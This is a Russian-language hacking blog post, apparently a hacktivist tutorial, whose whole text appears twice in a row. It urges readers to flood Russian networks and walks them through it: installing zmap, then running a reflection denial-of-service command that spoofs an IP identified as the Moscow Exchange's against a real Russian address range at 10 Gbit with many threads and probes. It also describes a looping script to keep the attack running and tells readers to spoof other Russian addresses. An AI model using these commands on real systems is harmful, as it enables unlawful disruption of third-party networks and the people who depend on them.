Добро пожаловать обратно, мои кибервоины!
Остановить неприкрытую и жестокую агрессию России крайне важно. Если мы не можем встать на передовую и защитить Украину, мы, по крайней мере, можем оказывать давление на Россию, используя наши навыки в кибербезопасности. Даже если у вас ограниченные навыки в сфере IT/кибербезопасности, вы всё равно можете помочь, блокируя доступ к российским военным и коммерческим сайтам.
Как многие из вас знают, zmap — мощный инструмент сканирования, способный просканировать весь Интернет за 45 минут. Его особенностью является возможность одновременной отправки результатов сканирования на миллионы систем.
Давайте используем мощь этого инструмента, чтобы засорить российский интернет и сделать его бесполезным для войны Путина!
Шаг №1 Загрузите и установите zmap
Во-первых, для этого метода требуется установленная ОС Linux. Я предпочитаю Kali Linux. Если вы не знакомы с Linux, вы можете прочитать мою серию статей об основах Linux здесь или мой бестселлер «Основы Linux для хакеров».
Далее загрузите и установите zmap, следуя этому руководству.
kali > sudo apt install zmap
Шаг №2: выберите целевой диапазон и исходный IP- адрес
Обычно при использовании сканера требуется, чтобы ответные пакеты отправлялись обратно на ваш IP-адрес. Но не в этом случае. Нам не важен ответ, мы просто хотим провести DoS-атаку на целевую систему. Кроме того, если мы подделаем свой IP-адрес, ответы от большого количества систем могут вернуться на другую систему в России, что ещё больше нарушит её работу. Это важно, поскольку Россия отследила IP-адреса (по их словам, 17 000) первой волны DDoS-атак и теперь блокирует их. Вероятно, вскоре будут заблокированы все IP-адреса из-за пределов России.
Например, я мог бы разослать пакеты по списку российских IP-адресов и подменить IP-адрес, используя IP-адрес Московской биржи. Пакеты будут отправлены по всем IP-адресам из моего списка, и все они будут отвечать серверу Московской биржи. Это могут быть тысячи или миллионы систем. Это очень похоже на атаку Smurf, произошедшую в прошлом.
Кроме того, мы можем повысить ставки, используя несколько потоков для отправки пакетов и отправляя несколько пакетов в каждую систему.
Чтобы построить нашу команду, она будет выглядеть следующим образом:
kali > sudo zmap -i eth1 -S 85.118.181.8 -B 10G -p 80 -T 10 -P 10 95.81.0.0/16
Где:
sudo дает команде права root
zmap — это команда сканера
-i eth1 обозначает интерфейс (по умолчанию eth0)
-S 85.118.181.8 — поддельный IP-адрес отправителя (в данном случае Московской биржи)
-B 10G — это используемая пропускная способность (в данном случае 10 гигабит)
-p 80 — порт для сканирования (используйте 80 или 443)
-T 10 количество используемых потоков (по умолчанию 1)
-P 10 — количество зондов, отправляемых на каждый хост (по умолчанию 1)
95.81.192.0/24 IP-адрес(а) назначения
Теперь, если мы хотим, чтобы сканирование выполнялось непрерывно, мы можем создать простой скрипт, который запустит его 10 000 раз с паузой в 5 секунд между каждым запуском. Откройте текстовый редактор, например Mousepad, и введите следующие команды.
Теперь сохраните скрипт под именем, например, zmapDoS.sh. Чтобы его можно было выполнить, нам нужно изменить права доступа.
Кали > sudo chmod 755 zmapDoS.sh
Затем, когда мы запускаем этот скрипт, мы получаем такой вывод.
kali >sudo ./zmapDoS.sh
Для достижения наилучшего эффекта используйте в качестве источника (-S) другой поддельный IP-адрес в России. Используйте один из IP-адресов из этого списка.
Также выберите диапазон IP-адресов на странице диапазонов российских IP-адресов ниже.
Российские IP-адреса.
Краткое содержание
Жестокое вторжение на Украину вынуждает нас действовать. Это война между преступной группировкой Путина и Западом. Если его не остановить на Украине, следующими будете вы. Даже если у вас ограниченные навыки в сфере IT/кибербезопасности, вы можете принять в ней участие, заблокировав российский интернет и сделав его бесполезным.
Остановить неприкрытую и жестокую агрессию России крайне важно. Если мы не можем встать на передовую и защитить Украину, мы, по крайней мере, можем оказывать давление на Россию, используя наши навыки в кибербезопасности. Даже если у вас ограниченные навыки в сфере IT/кибербезопасности, вы всё равно можете помочь, блокируя доступ к российским военным и коммерческим сайтам.
Как многие из вас знают, zmap — мощный инструмент сканирования, способный просканировать весь Интернет за 45 минут. Его особенностью является возможность одновременной отправки результатов сканирования на миллионы систем.
Давайте используем мощь этого инструмента, чтобы засорить российский интернет и сделать его бесполезным для войны Путина!
Шаг №1 Загрузите и установите zmap
Во-первых, для этого метода требуется установленная ОС Linux. Я предпочитаю Kali Linux. Если вы не знакомы с Linux, вы можете прочитать мою серию статей об основах Linux здесь или мой бестселлер «Основы Linux для хакеров».
Далее загрузите и установите zmap, следуя этому руководству.
kali > sudo apt install zmap
Шаг №2: выберите целевой диапазон и исходный IP- адрес
Обычно при использовании сканера требуется, чтобы ответные пакеты отправлялись обратно на ваш IP-адрес. Но не в этом случае. Нам не важен ответ, мы просто хотим провести DoS-атаку на целевую систему. Кроме того, если мы подделаем свой IP-адрес, ответы от большого количества систем могут вернуться на другую систему в России, что ещё больше нарушит её работу. Это важно, поскольку Россия отследила IP-адреса (по их словам, 17 000) первой волны DDoS-атак и теперь блокирует их. Вероятно, вскоре будут заблокированы все IP-адреса из-за пределов России.
Например, я мог бы разослать пакеты по списку российских IP-адресов и подменить IP-адрес, используя IP-адрес Московской биржи. Пакеты будут отправлены по всем IP-адресам из моего списка, и все они будут отвечать серверу Московской биржи. Это могут быть тысячи или миллионы систем. Это очень похоже на атаку Smurf, произошедшую в прошлом.
Кроме того, мы можем повысить ставки, используя несколько потоков для отправки пакетов и отправляя несколько пакетов в каждую систему.
Чтобы построить нашу команду, она будет выглядеть следующим образом:
kali > sudo zmap -i eth1 -S 85.118.181.8 -B 10G -p 80 -T 10 -P 10 95.81.0.0/16
Где:
sudo дает команде права root
zmap — это команда сканера
-i eth1 обозначает интерфейс (по умолчанию eth0)
-S 85.118.181.8 — поддельный IP-адрес отправителя (в данном случае Московской биржи)
-B 10G — это используемая пропускная способность (в данном случае 10 гигабит)
-p 80 — порт для сканирования (используйте 80 или 443)
-T 10 количество используемых потоков (по умолчанию 1)
-P 10 — количество зондов, отправляемых на каждый хост (по умолчанию 1)
95.81.192.0/24 IP-адрес(а) назначения
Теперь, если мы хотим, чтобы сканирование выполнялось непрерывно, мы можем создать простой скрипт, который запустит его 10 000 раз с паузой в 5 секунд между каждым запуском. Откройте текстовый редактор, например Mousepad, и введите следующие команды.
Теперь сохраните скрипт под именем, например, zmapDoS.sh. Чтобы его можно было выполнить, нам нужно изменить права доступа.
Кали > sudo chmod 755 zmapDoS.sh
Затем, когда мы запускаем этот скрипт, мы получаем такой вывод.
kali >sudo ./zmapDoS.sh
Для достижения наилучшего эффекта используйте в качестве источника (-S) другой поддельный IP-адрес в России. Используйте один из IP-адресов из этого списка.
Также выберите диапазон IP-адресов на странице диапазонов российских IP-адресов ниже.
Российские IP-адреса.
Краткое содержание
Жестокое вторжение на Украину вынуждает нас действовать. Это война между преступной группировкой Путина и Западом. Если его не остановить на Украине, следующими будете вы. Даже если у вас ограниченные навыки в сфере IT/кибербезопасности, вы можете принять в ней участие, заблокировав российский интернет и сделав его бесполезным.
